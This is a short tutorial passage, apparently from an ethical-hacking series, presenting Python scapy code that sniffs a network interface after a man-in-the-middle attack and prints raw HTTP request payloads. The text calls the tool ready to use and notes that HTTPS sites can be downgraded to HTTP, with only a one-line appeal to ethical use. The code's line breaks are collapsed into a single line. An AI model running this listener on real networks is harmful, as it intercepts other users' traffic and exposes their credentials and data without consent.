Packet listener use case.
After being man-in-the-middle using solution from previous section it's time to build and use packet listener tool with Python, but don't forget to use it for ethical purpose like network administration and network security.
This solution itself is ready to use for HTTP sites, HTTPS sites has to be downgraded to HTTP using common tools, but this is another story that will not be covered here.
Python code to implement packet listener:
Below is a Python3 realisation of packet listener which can be executed from this command line:# python3 andrew_packet_listener.py
import scapy.all as scapy from scapy_http import http def listen_packets(interface): scapy.sniff(iface=interface,store=False,prn=analyze_packets) #prn = callback function def analyze_packets(packet): #packet.show() if packet.haslayer(http.HTTPRequest): if packet.haslayer(scapy.Raw): print(packet[scapy.Raw].load) listen_packets("eth0")